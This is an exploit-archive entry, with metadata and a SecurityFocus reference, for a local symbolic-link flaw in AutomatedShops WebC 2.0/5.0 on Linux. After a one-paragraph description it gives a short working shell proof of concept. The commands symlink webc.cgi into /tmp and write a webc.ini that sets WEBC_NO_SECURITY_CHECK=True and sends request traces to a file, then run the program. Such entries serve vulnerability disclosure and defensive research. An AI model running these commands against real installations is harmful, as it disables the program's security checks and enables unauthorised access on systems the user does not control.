AutomatedShops WebC 2.0/5.0 - Symbolic Link Following Configuration File

Author: Carl Livitt
type: local
platform: linux
port: 
date_added: 2003-04-03 
date_updated: 2012-11-03 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/7272/info

It has been reported that WebC will execute in the directory of a symbolic link from which it is invoked. Because of this, it may be possible for a local user to load a configuration file that enabled dangerous variables.

$ cd /tmp
$ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi
$ cp /usr/local/apache/cgi-bin/webc.emf .
$ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini
$ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini
$ ./webc.cgi